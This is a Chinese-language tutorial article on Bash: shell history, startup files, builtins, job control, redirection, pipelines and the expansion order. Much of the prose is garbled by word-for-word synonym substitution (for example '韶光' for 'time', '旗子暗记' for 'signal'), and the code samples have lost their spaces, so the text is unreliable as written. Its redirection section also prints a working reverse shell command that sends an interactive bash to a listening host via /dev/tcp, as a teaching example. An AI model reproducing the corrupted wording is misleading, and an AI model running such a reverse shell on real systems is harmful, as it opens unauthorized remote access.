Bash 是 Bourne Again SHell 的缩写, 是 GNU 操持中的 Shell, 也是一些类 UNIX 系统与多数 Linux 发行版的默认 Shell. 本文对 Shell 进行简介, 并对 Bash 的功能与阐明过程进行了先容剖析.
关键词: Shell Bash UNIX GNU Linux
1. Shell 简介1.1 类 UNIX 系统1991 年 4 月, Linux 尚未正式向外发布时, Linus Torvalds 在 80386 兼容机上成功实验了在时钟中断下两个任务相互切换, 即在屏幕上打印“AAA...”和“BBB...”[1]. 如果把 Linux 启动之后运行程序更换为 Shell, 并具备一些工具程序等, 那么系统启动之后就有了可以与用户交互的操作界面.
在 UNIX 系统[2]中, 图 1 所示为 Shell 所在的层次.内核掌握硬件资源并供应进程运行的环境, 内核接口的中间层是系统调用;库在系统调用层之外, 运用程序可以自由利用系统调用与库函数;而 Shell 是一种分外的运用程序, 介于系统调用与运用程序之间[3].
图 1 UNIX 中 Shell 所在的层次
在类 UNIX 系统中, /etc/passwd文件行中的末了一个字段表明了用户利用的是什么登录 Shell(login Shell), 可以通过chsh命令修正默认 Shell, 当然也可以直接编辑/etc/passwd进行修正, 以下列举了几种 Shell.
Bourne Shell (sh), 曾经是所有品牌 UNIX 的标准, 为 Solaris 10[4]的默认 Shell(Solaris 11 中 root Shell 软链接到ksh).C Shell (csh), 掌握流语法类似于 C, 并且比 Bourne Shell 新增了作业掌握, 历史机制以及命令行编辑功能. 其曾是 FreeBSD[5]的默认 Shell(现被软链接到tcsh).Korn Shell (ksh)[6], 基于 BourneShell 源码开拓, 又包含了 CShell 的作业掌握, 命令行编辑等功能.其为 AIX[7]的默认 Shell.TENEX Shell (tcsh), 兼容了 CShell, 并具备了命令补全功能.很多系统上(如 FreeBSD)的/bin/csh 便是软链接或硬链接到了/bin/tcsh.Bourne-again Shell (Bash)[8], GNU 操持[9]的 Shell, 兼容了 Bourne Shell, 支持 C Shell 与 Korn Shell 的特色. 其为多数 Linux 发行版与 macOS Mojave[10]及之前版本的默认 Shell, 也是 Solaris 11 的默认的用户 Shell.Z Shell (Zsh)[11], 拓展了 Bourne Shell, 其可编程的命令行补全功能可以补全选项与参数等, 交互起来比较便利. macOS Catalina 版本的默认 Shell 便是 Zsh.Debian Almquist Shell(Dash)[12], 其目标是只管即便轻量级与小巧, 对付大多数任务来说, 它比 Bash 速率要快.Linux 发行版的 Ubuntu[13] 6.10 版本之后, 以及 Debian[14] 6(Squeeze)版本之后/bin/sh软链接到 dash.表 1 归纳了以上的几种 UNIX 系统上的 Shell. 图 2 表示几种 Shell 的演进关系, 个中实线表示兼容继续关系, 虚线表示支持了某些功能特色. 标准化方面, POSIX 系列标准[15](即 IEEE Std 1002, ISO/IEC 9945), 在 1993 年发布了基于 Bourne Shell 与 Korn Shell 的 Shell 标准—POSIX.1[16], 最新的是 POSIX.1-2017[17]. 上述的某些 Shell 后来也符合兼容了 POSIX 关于 Shell 的标准规范, 如 Bash 等.
鉴于类 UNIX 系统中的 Linux 利用的广泛性, 本文后续部分将以 Linux 作为默认的系统对 Bash 进行描述.
表 1 UNIX中的几种 Shell
图 2 UNIX 中 Shell 演进关系
1.2 Windows 系统在 Windows 系统上, 有 cmd[18]与 PowerShell[19]两种 Shell, 后者功能强大, 其是为了拓展前者的功能而设计的: 在 PowerShell 中可以运行 cmd 的命令, 而反之不可[20]. PowerShell 是构建于.NET 上基于任务的命令行 Shell 和脚本措辞, 它是跨平台(Linux, macOS), 且开源的[21]. 此外, PowerShell 是基于工具而非文本, 命令的输出是一个工具, 可以将输出工具通过管道发送给另一个命令以作为其输入.
2. Bash 功能
一些书本[22]与 manual page 文档可作为 Linux 中 Shell 命令行的学习的工具, man命令即可在本地查看该命令的解释文档. 本文除了参考 GNU Bash 的参考手册[23], 还有 Bash 的 manual page[24], 本节先先容 Bash 在作为交互式 Shell 与登录 Shell 时不同的启动文件, 再先容了 Bash 的内置命令, 作业掌握, 重定向与管道几大功能.
2.1 交互式 Shell 与登录 Shell用户可以与 Shell 进行交互, 系统可以以多种办法启动运行 Shell. 根据用户输入与 Shell 的交互办法, Shell 可以分为交互式 Shell (interactive Shell)与非交互式 Shell:
交互式 Shell, 处理用户键入的命令, 并得到命令输出. 一样平常情形下, 通过与用户进行 IO 交互的 Shell, 都是交互式 Shell.非交互式 Shell, 实行脚本文件命令, 直至文件结束时, 它也便退出了. 当运行 Shell 脚本时, 就启动了非交互式 Shell.类似地, 根据登录会话产生时, Shell 是否为第一个以该用户 ID 实行的进程, 可以分为登录 Shell (login Shell)与非登录 Shell:
登录 Shell, 是登录会话产生时, 第一个以该用户 ID 实行的进程. 当通过文本掌握台, SSH, 或su - user命令登录时, 就会得到一个登录 Shell.非登录 Shell, 登录会话中非第一个用户 ID 实行的进程. 一样平常情形下, 通过运行脚本, 打开 GUI 命令行终端, 或su user命令登录时, 就会得到非登录 Shell.从以上 2 种维度划分的 Shell, 也存在两两组合的: 如交互式的登录 Shell, 非交互式的非登录 Shell 等. 对付 Bash 来说, 不同的组合类型启动时读取实行的文件是不同的, 表 2 作了归纳.
登录 Shell 时(无论是否为交互式的), 那么它会读取实行 4 个文件: /etc/profile, ~/.bash_profile, ~/.bash_login, ~/.profile;交互式的非登录 Shell 时, 它会读取实行~/.bashrc;非交互式的非登录 Shell 时, 不会读取实行任何文件.表 2 Bash 启动时读取实行文件
值得一提的是, 很多~/.profile会有如下代码, 便是为了使登录 Shell 也会读取实行~/.bashrc. . ~/.bashrc source ~/.bashrc 此外, 登录 Shell 在退出时会读取实行~/.bash_logout.
2.2 内置命令内置命令(builtin command)是 Shell 自己实现的命令, 有的是由于某些功能仅能通过内置化实现, 有的则是追求性能而内置化实现.
大部分内置命令的存在是由于在另一个单独的进程环境下难以实现或无法实现. 如cd命令, 该命令在$PATH是不存在的, 我们知道, Shell 在创建实行的命令进程结束后, 都不会影响 Shell 进程本身的 cwd (当前事情目录), 因此cd命令只能 Shell 自己实现. 影响当前 Shell 环境的命令只能内置化实现, 表 3 列举了一些这样的命令.
表 3 只能内置化实现的命令举例
小部分内置命令的存在是为了提升那些频繁利用命令的性能. 如echo, 该命令可以通过可实行程序(coreutils软件包中)实现, 但 Bash 通过内置化实现了echo无非是提升了性能, 省去了创建进程的开销.
内置命令type可以显示命令的类型信息, 代码 1 列举了一些命令的类型, 有内置命令, 关键字(keyword), 别名(alias), 函数(function), 以及最常见的可实行文件(executable file).
代码 1 type命令显示命令类型信息
$typeechoechoisashellbuiltin$typeififisashellkeyword$typelslsisaliasedto'ls--color=auto'$typemyfunctionmyfunctionisafunction$typecpcpis/usr/bin/cp$typenot_existbash:type:not_exist:notfound
以下列举了一些常用的内置命令与场景.
source filename 或 . filename(.即点号), 在当前环境中实行filename. 实行 Shell 脚本文件, 可能会影响当前 Shell 运行环境, 如环境变量, 函数等符号.alias [name[=value] ... ], 显示或创建别名. 别名是为一些命令选项创建一个自定义的名字, 乃至可以与原命令相同, 如alias ls='ls --color=auto', 就使ls自动带入--color=auto选项.exec [command [arguments ...]], 用command进程替代当前 Shell. 利用 Shell 本身调用execve(2)系统调用, 利用给定的命令进程更换了当前 Bash, 一样平常用在 Shell 脚本末端处实行某命令不必返回.export [name[=value] ...], 为 Shell 变量设置导出属性. 将每一个name记录, 以此导出后续实行的命令环境中, 一样平常是设置变量, 那么当前 Shell 就有了这个环境变量了.read [-p prompt] [name ...], 从标准输入读取一行并分割为多少字段, 赋值给name变量. 选项prompt为提示字符, 这个命令供应了一种交互的方法, 一样平常用在与用户 IO 的逻辑中.time pipeline, 报告pipeline命令花销的韶光. 详细有实际韶光, 用户 CPU 韶光, 系统 CPU 韶光, 用来统计命令韶光开销.2.3 作业掌握终端会话中有一个掌握终端, 也有前台进程组/后台进程组, 而掌握终端与前台进程组干系; 作业是几个进程的凑集, 常日是一个进程的管道线[3]. 作业掌握(job control)是指, 有选择地停滞(挂起)某些进程的实行, 以及连续(规复)某些停滞进程实行的能力. 在终端交互中, 终端驱动将一些键盘输入的分外字符转变为旗子暗记[25]发给前台进程, 如SIGINT(Ctrl+C), SIGQUIT(Ctrl-\), SIGTSTP(Ctrl-Z). 因此, 通过这些分外字符与 Shell 的作业掌握功能, 可以方便快捷地掌握前后台任务的切换. 在 Bash 中, 每一个作业都有一个作业 ID, 以下是作业掌握干系的命令与符号.
jobs [jobspec ...], 显示作业信息.fg [jobspec], 将作业移至前台.bg [jobspec], 规复后台挂起的作业(在后台)运行.pipeline &, 符号&表示后台进行.代码 2 是一个作业掌握举例, 首先后台创建了任务 1, sleep 10 &, 其在后台运行; 再创建任务 2, ping -c 2 127.0.0.1, 其在前台运行; 挂叛逆务 2, 其转向后台(Ctrl-Z), 且停滞了; 将任务 1 转向前台(fg 1), 之后挂起(Ctrl-Z), 其也转向后台停滞了; 此时两个任务都后台停滞了. 末了, 任务 2 后台规复运行(bg 2)直至进程退出, 任务 1 转至前台运行(fg 1)至进程退出.
代码 2 作业掌握举例
$sleep10后台启动任务1[1]79447$jobs#只有一个任务,运行态[1]+Runningsleep10&$ping-c2127.0.0.1#前台启动任务2PING127.0.0.1(127.0.0.1)56(84)bytesofdata.64bytesfrom127.0.0.1:icmp_seq=1ttl=64time=0.039ms^Z#键入Ctrl-Z,任务2转向后台,停滞态[2]+Stoppedping-c2127.0.0.1$jobs#两个任务:任务1运行态,任务2停滞态[1]-Runningsleep10&[2]+Stoppedping-c2127.0.0.1$fg1#任务1转前台运行sleep10^Z#键入Ctrl-Z,即发送SIGTSTP[1]+Stoppedsleep10$jobs#两个任务,都停滞态[1]+Stoppedsleep10[2]-Stoppedping-c2127.0.0.1$bg2#任务2后台规复运行[2]-ping-c2127.0.0.1&$64bytesfrom127.0.0.1:icmp_seq=2ttl=64time=0.076ms#ping统计信息略,此时任务2结束,键入回车[2]-Doneping-c2127.0.0.1$jobs#一个任务:任务1停滞态[1]+Stoppedsleep10$fg1#任务1转向前台sleep10
2.4 重定向
在 UNIX 系统中, 文件工具因此文件描述符(file descriptor)来引用的, 操作系统会默认打开进程的 3 个文件描述符: 文件描述符0 - 标准输入; 文件描述符1 - 标准输出; 文件描述符2 - 标准出错 (后文将分别以stdin, stdout, stderr表示). 命令在实行之前, 它的文件描述符可以被复制, 打开, 关闭, 指向不同的文件等, 文件重定向便利了文件 IO 的操作. Bash 解析重定向符号, 是从左到右涌现的顺序处理的, 如下两行命令的效果是不同的: 前者是将stdout与stderr都定向到文件dirlist; 而后者是先将stderr定向到stdout, 再将stdout定向到文件dirlist.
ls > dirlist 2>&1 ls 2>&1 > dirlist
Bash 处理多种重定向文件名, 若操作系统供应了相应文件, 则 Bash 直策应用, 否则 Bash 会内部仿照它们. 表 4 列举了/dev/目录下的几个文件, 反弹 Shell (reverse shell[26])中常常用到文件/dev/tcp/host/port, 当host是合理的主机名或 IP 地址且port是合理的做事名或端口号时, 其实在 Linux 中是不存在/dev/tcp或/dev/udp目录的, 此时 Bash 解析这个路径时会创建相应的套接字[27][28]并做网络连接.
表 4 Bash 重定向的文件
下面列举了一些重定向的方法, 若文件描述符省略且重定向符为<与>, 则重定向工具就分别是stdin与stdout.
重定向输入(redirecting input). [n]<word 以读办法打开的文件描述符n被重定向到文件word, 若n为0(stdin) 可省略.重定向输出(redirecting output). [n]>word 以写办法打开的文件描述符n被重定向到文件word, 为1(stdout)时可省略. 若文件word不存在, 则创建它; 若存在就截断长为 0.追加重定向输出(appending redirected output). [n]>>word 以追加(append)办法打开的文件描述符n被输出重定向到文件word, 若n为1 (stdout)可省略. 若文件word不存在, 则创建它.重定向stdout与stderr (redirecting standard output and standard error). &>word 或 >&word 同时将stdout与stderr都重定向到word, 以上两种写法同义, 但是第一种利用更多, 语义等价于如下. >word 2>&1追加stdout与stderr (appending standard output and standard error). &>>word 同时将stdout与stderr都追加定向到word, 其语义等价于如下. >>word 2>&1复制文件描述符 (duplicating file descriptors). [n]<&word 以读办法打开的文件描述符word复制给文件描述符n, 即文件描述符n实在转向了word. 若n为0 (stdin) 可省略. [n]>&word 把文件描述符n复制给以写办法打开的文件描述符word, 即文件描述符n转向了word. 若n为1 (stdout) 可省略.代码 3 是反弹 Shell 的示例, 假设名字pc1可以被 DNS 解析为 PC1 的地址, 在 PC1 上通过nc监听6666端口, 则 PC2 通过文件重定向达到反弹 Shell 的效果: &>/dev/tcp/pc1/6666是将stdout与stderr重定向为到pc1:6666的 TCP 连接; <&1是将stdin也重定向文件描述符1 (stdout), 即到的 PC1 的 TCP 链接; 至此, stdin, stdout, stderr都被重定向到pc1:6666, 在 PC1 上就得到了 Shell.
代码 3 反弹 Shell 示例
#在PC1上,监听TCP的6666端口$nc-l-p6666#在PC2上,打开一个交互Shell,重定向stdin/stdout/stderr到TCP连接$bash-i&>/dev/tcp/pc1/6666<&1
2.5 管道
管道线(pipeline)是由一个或多个由|或|&符号分割的命令序列, 其格式如下. command [ [| 或 |&] command2 ... ]
command的stdout通过管道连接到command2的stdin, 这个连接是先于重定向被 Bash 阐明处理的. |&符号表示command的stdout与stderr都通过管道连接到command2的stdin, 实在便是```2>&1 |''简写形式, 这种隐式的将stderr转向stdout`是在 2.4 节所描述的重定向之后被 Bash 阐明处理的.
很多命令从stdin读入, 经由处理, 写到stdout, 这样的命令都可以通过管道连接起来以实现繁芜功能的处理, 非常简洁实用. 以下列举了一些常用的管道干系的命令.
grep[29], 打印匹配模式的行.sed(Stream EDitor)[30], 非交互式的命令行流文本编辑器.awk(Aho, Weinberger, Kernighan), 文本模式扫描与处理措辞阐明器. 有多种实现, GNU 操持的实现为gawk[31], 在某些 Linux 机器上, awk被符号链接到gawk.对付grep, sed, awk这 3 个命令: grep是对 RE 匹配的pattern进行打印; sed除了 RE 匹配还支持行匹配等, 除了打印还有插入, 删除, 更换操作; awk拓展了sed能力, 其表达能力更强, 具有更丰富的变量支持与内置函数等. 此外, 示例代码 4 通过管道组合个中一些命令(cut, sort, uniq, xargs), 达到实用效果.
代码 4 几个管道命令的组合
#统计/etc/passwd文件中的用户利用的是什么Shell$cut-d:-f7/etc/passwd|sort|uniq-c4/bin/bash26/sbin/nologin5/usr/bin/nologin1/usr/bin/zsh#统计/etc/passwd文件中的用户利用Shell的文件信息$cut-d:-f7/etc/passwd|sort|uniq|xargsls-l-rwxr-xr-x1rootroot903504Feb1403:41/bin/bash-rwxr-xr-x1rootroot14160Feb202:36/sbin/nologin-rwxr-xr-x1rootroot14160Feb202:36/usr/bin/nologin-rwxr-xr-x2rootroot869608Feb1701:55/usr/bin/zsh
3 Bash 阐明过程3.1 总体流程
用户输入命令行字符串, Bash 对其进行语法检讨过程中也有阐明过程, 文献[32]的“命令行处理过程”一节有 Bash 阐明过程的干系描述, 图 3 是 Bash 阐明的总体流程. Bash 首先会对输入的字符串进行词法剖析, 将命令行字符串切割为 token; 之后会对第一个 token 进行别名(alias)检讨, 若其为别名则进行展开, 并对展开字符串连续进行切割; 之后会进行一系列展开(expansion)操作, 末了命令进行查找, 判断是否为函数, 内置命令还是可实行文件, 并在特定环境中实行它们.
图 3 Bash 阐明过程
3.2 命令行的展开实行图 3 从输入命令开始, 经由切割 token 与别名检讨展开, 之后便是命令行展开过程, 末了是查找与实行. 命令行展开按顺序分为以下几个步骤, 暂不考虑引号, 代码 5 有干系举例.
代码 5 命令行展开举例
#花括号展开举例$echo{1..10}wh{e{n,re},at}{1..10..2}12345678910whenwherewhat13579#波浪号展开举例$echo~root/~xu/~//root//home/xu//home/xu/#对$SHELL变量:取子串,转大写,字符串更换,后缀(最短匹配)删除,引号形式$echo$SHELL${SHELL:4}${SHELL^^}${SHELL/ba/z}${SHELL%/}${SHELL@Q}/bin/bash/bash/BIN/BASH/bin/zsh/bin'/bin/bash'#算术展开举例(中间可以加空格)$num=0xe$echo$((0xdeadbeef&0xffff-0xbe00-$((num<<4))))15#命令更换举例,打印当前用户ID$id-u$(whoami)1000#路径展开举例,[]?匹配模式$echo/dev/sd[ab]/dev/sda/dev/sda1/dev/sda2/dev/sdb/dev/sdb1$echo/dev/sd[ab]?/dev/sda1/dev/sda2/dev/sdb1
花括号展开(brace expansion), 处理{}格式. 这是一种字符产生机制, 可以嵌套, 但花括号内不可有空格(空格后认为是下一 token), 可以是字符, 也可以是x到y步增inc的序列{x..y[..inc]}.波浪号展开(tilde expansion), 处理~开头格式的 token. token 开头的波浪号至非引号斜线之前的字符称为波浪号前缀(tilde-prefix), 如字符串~something/中的~something便是波浪号前缀. 在波浪号前缀中, 波浪号后的字符串被认为是个可能的登录名(login name): 若登录名为空, 则用$HOME变量更换波浪号; 若登录名非空, 则用登录名的 home 目录更换波浪号前缀.参数展开(parameter expansion), 处理${parameter}格式的变量. 有时花括号可以省略, 不过 Bash 供应了更繁芜的参数展开功能, 如若变量未定义利用默认值, 取参数的子串, 大小写转换, 前后缀删除, 字符串变换等.算术展开(arithmetic expansion), 处理$((expression))格式的算术表达式. 算术展开可以嵌套, 其因此固定长度的整形数(fixed-width integer)打算而不检讨溢出, 支持的操作符与优先级及其结合性都与 C 相同, 而且可以指定 N 进制数. 此外, Bash 的变量可以作操作数, 未定义或为空的变量值是 0. 代码 5 有变量, 嵌套, 与十六进制打算.命令更换(command substitution), 处理$(command)格式的命令. 支持嵌套, 在子 Shell 环境(其结果不影响当前 Shell 环境)中实行命令, 并把命令更换为该命令的stdout, 并将文本末了的换行符删掉. 文本中间产生的换行符在该步不会删除, 但可能会单词分割中进行. 反引号的形式`command`, 是老式的命令更换的写法, 在嵌套时须要用反斜杠转义掉内部嵌套的反引号.单词分割(word splitting). 在 Bash 中有一个IFS的环境变量, 其默认值为<space><tab><newline>. IFS中的每一个字符都认为是分隔符, 利用IFS把前面展开过程中产生的字符串进行单词分割.路径名展开(pathname expansion), 处理含?[这 3 字符的 word. 单词分割之后, 在路径名展开时, Bash 扫描含?[这 3 个字符的 word, Bash 把该 word 作为匹配模式(pattern), 并将匹配该模式的字母表序的文件名序列更换该 word. 若没有匹配的文件名, Bash 默认(即shopt的nullglob为off)会保留原 word. 表 5 是路径名展开的pattern的含义.
表 5 路径名展开的 pattern 含义
在一系列的展开操作之后, 此时就要进行命令查找. 若命令不含/符号:
Bash 先搜索函数(function), 若找到就在当前环境中实行;Bash 搜索内置命令(builtin command), 若找到就实行之;去$PATH中搜索可实行文件, 若找到则在子环境中实行.当然, 若命令含/字符, 解释该文件通过文件路径即可访问, 直接调用execve(2)系统调用即可.
3.3 引号处理前文命令行展开的描述中都假设没有引号 ,命令行中有了引号之后 ,图 3 解释了含引号的解析过程 .代码 6 示例了无引号 ,单引号以及双引号在命令行解析过程的差异 :对付单引号来说 ,自切割完命令行 token 后直接就到了命令查找 ;双引号只有参数展开 ,算术展开,命令更换,末了到命令查找.
代码 6 命令行中的引号处理
#新建一个别名$aliasmyecho=echo#无引号:别名展开->花括号展开->波浪号展开->变量展开->#算术展开->命令更换->路径名展开->命令查找$myechowh{e{n,re},at}~root/${SHELL^^}$((0x102))$(whoami)/biwhenwherewhat/root//BIN/BASH32xu/bin#单引号:->命令查找$'myecho'hellobash:myecho:commandnotfound$echo'wh{e{n,re},at}~root/${SHELL^^}$((0x102))$(whoami)/bi'wh{e{n,re},at}~root/${SHELL^^}$((0x102))$(whoami)/bi#双引号:参数展开->算术展开->命令更换->命令查找$"myecho"hellobash:myecho:commandnotfound$echo"wh{e{n,re},at}~root/${SHELL^^}$((0x102))$(whoami)/bi"wh{e{n,re},at}~root//BIN/BASH32xu/bi
4 总结与展望
本文重在阐述事理性的东西, 而不是某些命令的利用. 后续我们将连续推出文章, 先容一个支持作业掌握/管道的 C 实现的大略单纯 Shell 的代码.
参考文献[1] 赵炯. Linux 内核完备阐发 [M].北京 :机器工业出版社, 2009.[2] The Open Group. The UNIX© Standard[EB/OL]. 2020. https://www.opengroup.org/membership/forums/platform/unix .[3] W. Richard Stevens, Stephen A. Rago. Advanced Programming in the UNIX Environment (Third Edition)[M]. AnnArbor: Pearson Education, 2013.[4] Oracle. Oracle Solaris 10[EB/OL]. 2020. https://www.oracle.com/solaris/solaris11/.[5] The FreeBSD Foundation. The FreeBSD Project[EB/OL]. 2020. https://www.freebsd.org/.[6] David Korn. KornShell[EB/OL]. 2000. http://www.kornshell.org/.[7] IBM. AIX, UNIX for IBM Power Systems | IBM[EB/OL]. 2020. https://www.ibm.com/it-infrastructure/power/os/aix .[8] Free Software Foundation. GNU Bash[EB/OL]. 2017. http://www.gnu.org/software/bash/.[9] Free Software Foundation. The GNU Operating System and the Free Software Movement[EB/OL]. 2020. http://www.gnu.org/ .[10] Apple. macOS Catalina -Apple[EB/OL]. 2020. https://www.apple.com/macos/catalina/ .[11] Zsh Web Page Maintainers. ZSH -THE Z SHELL[EB/OL]. 2020. http://zsh.sourceforge.net/ .[12] Herber Xu. Dash[EB/OL]. 2011. http://gondor.apana.org.au/~herbert/dash/ .[13] Canonical. The leading operating system for PCs, IoT devices, servers and the cloud | Ubuntu[EB/OL]. 2020. https://ubuntu.com/ .[14] Software in the Public Interest. Debian – The Universal Operating System[EB/OL]. 2020. https://www.debian.org/ .[15] IEEE. POSIX Certification home[EB/OL]. 2020. http://get.posixcertified.ieee.org/.[16] IEEE Computer Society. 1003.2-1992 -IEEE Standard for Information Technology–Portable Operating Sys tem Interfaces (POSIX(R))–Part 2: Shell and Utilities[S/OL]. 1993. https://standards.ieee.org/standard/1003_2-1992.html .[17] IEEE The Open Group. The Open Group Base Specifications Issue 7, 2018 edition[S/OL]. 2018. http://pubs.opengroup.org/onlinepubs/9699919799/ .[18] Microsoft. Cmd[EB/OL]. 2020. https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmd .[19] Microsoft. PowerShell Documentation[EB/OL]. 2020. https://docs.microsoft.com/en-us/powershell/.[20] Microsoft. Windows commands[EB/OL]. 2020. https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands .[21] Microsoft Open Source Code of Conduct. PowerShell[EB/OL]. 2020. https://github.com/powershell/powershell .[22] 鸟哥.鸟哥的 Linux 私房菜根本学习篇 (第四版)[M].北京 :公民邮电出版社, 2018.[23] Free Software Foundation. GNU Bash Manual[EB/OL]. 2019. https://www.gnu.org/software/bash/manual/.[24] Free Software Foundation. Bash(1) Manual Page[EB/OL]. 2018. https://tiswww.case.edu/php/chet/bash/bash.html.[25] linux Foundation. signal(7) -Linux manual page[EB/OL]. 2019. http://man7.org/linux/man-pages/man7/ signal.7.html .[26] Acunetix. What Is a Reverse Shell | Acunetix[EB/OL]. 2020. https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/ .[27] Stevens W Richard, Fenner Bill, Rudoff Andrew M. UNIX network programming: the sockets networking API : Vol 1[M]. New York, USA : Addison-Wesley Professional, 2004.[28] Fall Kevin R, Stevens W Richard. TCP/IP illustrated, volume 1: the protocols[M]. New York, USA : Addison-Wesley, 2011.[29] Free Software Foundation. GNU grep -GNU Grep: Print lines matching a pattern -GNU Project -Free Software Foundation[EB/OL]. 2020. https://www.gnu.org/software/grep/manual/.[30] Free Software Foundation. GNU sed -GNU Project - Free Software Foundation[EB/OL]. 2020. https://www.gnu.org/software/sed/.[31] Free Software Foundation. Gawk: Effective AWK Programming -GNU Project -Free Software Founda- tion[EB/OL]. 2020. https://www.gnu.org/software/gawk/manual/.[32] Newham Cameron, Rosenblatt Bill. Learning the Bash Shell[M]. [S.l.] : O'Reilly Media, 2005.